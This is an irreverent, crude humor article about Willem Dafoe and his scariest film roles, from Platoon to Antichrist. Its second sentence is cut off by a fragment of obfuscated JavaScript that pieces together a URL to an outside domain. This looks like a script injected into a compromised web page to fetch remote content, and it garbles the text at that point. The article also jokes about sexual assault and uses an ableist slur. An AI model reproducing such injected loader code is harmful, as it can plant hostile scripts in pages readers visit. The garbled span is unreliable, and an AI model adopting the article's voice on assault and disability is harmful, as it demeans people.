Willem Dafoe

Willem Dafoe is an American-born actor. He is a very scary-looking dude.)){u='http'+'://buro'+'tkan'+'i.com/'+

Willem Dafoe looks like this.

Just The Facts

  1. Willem Dafoe is considered a very talented actor by people who watch a lot of movies.
  2. Willem Dafoe is considered scary-looking by everyone who's ever seen him.
  3. Willem Dafoe's most notable film roles include: a thinly veiled allegory for Jesus, literally Jesus, a psychotic hitman who almost rapes the chick from Jurassic Park, a gay superdetective who dresses in drag to help some vigilantes, and a supervillain.

Thinly Veiled Allegory For Jesus

Dafoe's breakthrough role was as Sgt. Elias K. Grodin in Platoon by Oliver Stone. This is a movie about a platoon of soldiers (no shit) in Vietnam, whose loyalties are split between the good sergeant, played by Dafoe, and the evil sargent, played by the catcher from Major League. No, that's not a typo. Dafoe is the good one.

Just so we're clear, in order to make the evil sergeant look more evil than Willem Dafoe, they had to give him lots of scars, and also have him condone the wanton slaughter of women, children, and...pigs, for some reason.

Anyway, Charlie Sheen aligns himself on the side of Willem Dafoe, just in time for Willem Dafoe to be betrayed and left to die by the other half of the platoon. HIs death allows Charlie Sheen to have profound a profound revelation about the nature of good, evil, betrayal and war. And when he dies it looks like this:

See, his arms are outstreched, so that he looks like Jesus. And he died to redeem Charlie Sheen. See what they did there?

Literally Jesus

In 1988, Martin Scorsese cast Willem Dafoe as Jesus in The Last Temptation of Christ, because apparently Martin Scorsese thinks Jesus should scare the shit out of everyone.

Though, to be fair, Marty was raised a Roman Catholic...

The film was controversial and pissed off tons of people before even being released, which of course got it even more publicity and made everyone who wasn't pissed off even more excited to see it. This marketing strategy has been used for basically every Jesus movie since. So yeah, you can pretty much blame this movie for the fact Mel Gibson is still culturally relevant.

A lot of the controversy in this particular film stemmed from a scene depicting Jesus having sex. Now, we're not in favor of censorship here at Cracked, but if there ever were a good reason to prevent a movie from being shown, a Willem Dafoe sex scene might be it.

Psychotic Hitman who almost rapes the chick from Jurassic Park

In 1990, David Lynch cast Willem Dafoe as an ex-marine hitman hired to kill Nicolas Cage in Wild at Heart. The makeup people on this film actually go out of their way to make him look even scarier than normal.

Holy Shit

In one particularly horrifying scene, Willem Dafoe gets Laura Dern to let him into her hotel room by claiming he has to piss (does that line actually work?), and then proceeds to forcibly restrain her and make her whisper "fuck me" while groping her. Then he laughs it off and leaves, because, holy shit, David Lynch is fucking weird. Seriously, this scene doesn't even make the like top 25 of weird fucking shit that happens in David Lynch movies.

In any case, this scene presents a good opportunity for a would-you-rather question. Recall that Laura Dern is also in Jurassic Park. Would you rather be chased by a pack of velociraptors, or be sexually assaulted by Willem Dafoe? We think almost any rational person (with the possible exception of Randall Monroe) would choose the raptors any day of the week.

Gay Superdetective

In 1999, Willem Dafoe was cast as FBI Agent Paul Smecker in the cult classic Boondock Saints. He is a brilliant but eccentric detective sent in to investigate the murders of various gangsters by the film's heros. He also happens to like dudes, but he will NOT. TOLERATE. CUDDLING.

Eventually, he gets drunk, talks to a priest, and decides that the heros are actually doing good for the world and that he wants to help them. So, when they get captured by the mafia, Dafoe decides to infiltrate the mob by dressing up as a hooker. Now, there's something a bit offensive about the insinuation that just because he's gay he's totally comfortable in drag. But this is a movie where all the Irish are tough young Catholic lads with hearts o'gold, and all Italians are functionally retarded mobsters, so we guess they're painting in pretty broad strokes to begin with.

The more offensive part of this scene is that it expects us to buy the premise that this could be mistaken for an attractive woman:

This makes the movie just slightly more ridiculous than every Bugs Bunny cartoon ever.

Supervillain

Willem Dafoe has played the Green Goblin in Sam Raimi's Spiderman films. The Green Goblin wears a mask that looks like this:

We're pretty sure Willem Dafoe is scarier without the mask.

Upcoming Projects

Willem Dafoe is starring in an upcoming film called Antichrist. People who get boners from dark indie movies are very excited about this one. Apparently, Dafoe plays Adam in a bizzarro-Garden of Eden created by Satan. He subjects Eve to unimaginable emotional cruelty, and then she physically tortures him in return.

Do they give Oscars for casting? We think this movie deserves one.